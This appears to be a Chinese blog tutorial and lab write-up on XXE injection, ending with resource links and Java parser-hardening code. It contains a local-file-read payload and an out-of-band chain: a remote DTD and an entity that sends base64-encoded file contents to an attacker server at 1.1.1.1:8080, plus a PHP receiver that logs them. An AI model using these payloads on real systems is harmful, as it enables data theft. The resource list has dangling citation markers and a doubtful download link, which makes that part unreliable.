XXE-实体注入

XXE介绍

XXE即外部实体,从安全角度理解为XML外部实体注入攻击
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部DTD声明:

<!DOCTYPE 根元素 [元素声明]>

实例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to      (#PCDATA)>
<!ELEMENT from    (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body    (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

引用外部DTD声明:

<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

实例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

这是包含 DTD 的 “note.dtd” 文件:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。

一个外部实体声明

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>

一个内部实体声明

语法:

<!ENTITY 实体名称 "实体的值">

DTD 例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

实体又分为一般实体和参数实体:

一般实体的声明语法:

<!ENTITY 实体名 “实体内容“>

引用实体的方式:&实体名;

** 参数实体只能在DTD中使用,参数实体的声明格式:**

<!ENTITY % 实体名 “实体内容“>

引用实体的方式:%实体名;

一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。

简单XXE攻击payload:

<?php
$test='<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///c:/1.txt">]><scan>&test;</scan>';
$obj=simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
?>

test是一个变量,里面是XML,访问读取了C盘的1.txt然后使用simplexml_load_string将其转换为对象打印出来

simplexml_load_string()函数

功能

把 XML 字符串载入对象中

语法

simplexml_load_string(_data,classname,options,ns,is_prefix_ );

第一个参数是xml语句,SimpleXMLElement是调用了SimpleXMlement这个类,然后LIBXML_NOET是代替实体,然后去调用文件c盘下1.txt。

在实战中后端语言解析了XML是不会输出读取内容的,我们需要一个类似接受平台的接收器,将XML读取的数据发送到接收平台,然后接受平台储存然后我们在接受平台上分析。先使用PHP伪协议读取文件:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">

然后去调用 用来XXE的服务器中的一个xml文档文件:

<!ENTITY % remote SYSTEM "http://192.168.1.100/1.xml">

而这个XML写的内容如下:

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://1.1.1.1:8080/2.php?id=%file;'>">
%all;      //调用实体

1.XML文档会调用2.php文件并向id通过GET方式传入%file 读取的内容
而2.php的内容如下:

<?php file_put_contents("3.txt",$_GET['id'],FILE_APPEND);?>

2.php被调用后会将id传进来的参数即%file的内容写入到3.php中,我们就可以通过访问3.php得到我们想读取的内容;

靶场演示

在这里插入图片描述
进入XXE靶场(外部实体注入),我们发现了simplexml_load_string()函数,这里很可能有XXE漏洞,我们看下附件代码:
在这里插入图片描述
发现这里通过$poststr接收数据并将数据直接放入到simplexml_load_string()转换为对象,那这里是可以进行XXE的;
我们先构造出XXE的poc代码:
在这里插入图片描述

第三行是通过php伪协议去读取被攻击服务器下的flag.php文件内容(base64编码,方便数据传输)
第四行是通过外部实体声明加载攻击者服务器的1.xml文件
第五行调用外部实体remote
第六行调用外部实体send

1.xml文件内容如下:

<!ENTITY % all	
"<!ENTITY &#x25; send SYSTEM 'http://1.1.1.1:8080/xxe/2.php?id=%file;'>"
\>
%all;

调用2.php并传入参数
2.php内容如下:

<?php file_put_contents("3.txt",$_GET['id'],FILE_APPEND);?>

将传参的内容,即读取到的文件写入放到3.txt中,成功读取文件
抓包,通过POST方式上传
在这里插入图片描述
访问自己用来接收的服务器,看看3.txt是否收到读取的文件
在这里插入图片描述
成功读取到文件,因为之前对其进行base64编码,所以进行base64解码即可得到原来的内容!

### XXE漏洞的学习资源与实验环境 XML外部实体注入XXE, XML External Entity Injection)是一种常见的安全漏洞,攻击者可以通过该漏洞访问本地文件系统、执行远程代码或者发起拒绝服务攻击。以下是关于XXE漏洞的一些学习资源和在线实验室: #### 学习资源 1. **OWASP官方文档**: OWASP提供了详细的XXE漏洞介绍及其防御方法[^2]。这是了解XXE的基础资料之一。 ```markdown https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing ``` 2. **PortSwigger Web Security Academy**: PortSwigger提供了一个交互式的平台来练习各种Web安全漏洞,其中包括XXE漏洞的实践教程[^3]。 ```markdown https://portswigger.net/web-security/xxe ``` 3. **Acunetix Blog**: Acunetix博客深入探讨了XXE的工作原理以及如何利用它进行攻击[^4]。这是一篇适合中级读者的文章。 #### 实验室推荐 1. **Vulnversity by HackTheBox**: 这是一个免费的虚拟机镜像,其中包含了多个Web应用程序的安全挑战,包括XXE漏洞测试[^5]。 ```bash wget https://downloads.hackthebox.eu/Vulnversity.zip unzip Vulnversity.zip ``` 2. **PentesterLab**: PentesterLab 提供了一系列基于真实场景构建的小型应用案例研究,用户可以在这些环境中模拟并修复XXE漏洞[^6]。 3. **TryHackMe Rooms**: TryHackMe上也有专门针对XXE漏洞设计的任务房间,新手可以在这里通过实际操作加深理解[^7]。 #### 防御措施概述 为了防止XXE漏洞的发生,开发者应禁用解析器中的DTD处理功能,并验证所有输入数据是否符合预期格式[^8]。例如,在Java中可设置SAXParserFactory如下所示: ```java import javax.xml.parsers.SAXParserFactory; public class SecureXmlParser { public static void main(String[] args) throws Exception { SAXParserFactory factory = SAXParserFactory.newInstance(); factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); factory.setFeature("http://xml.org/sax/features/external-general-entities", false); factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); } } ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值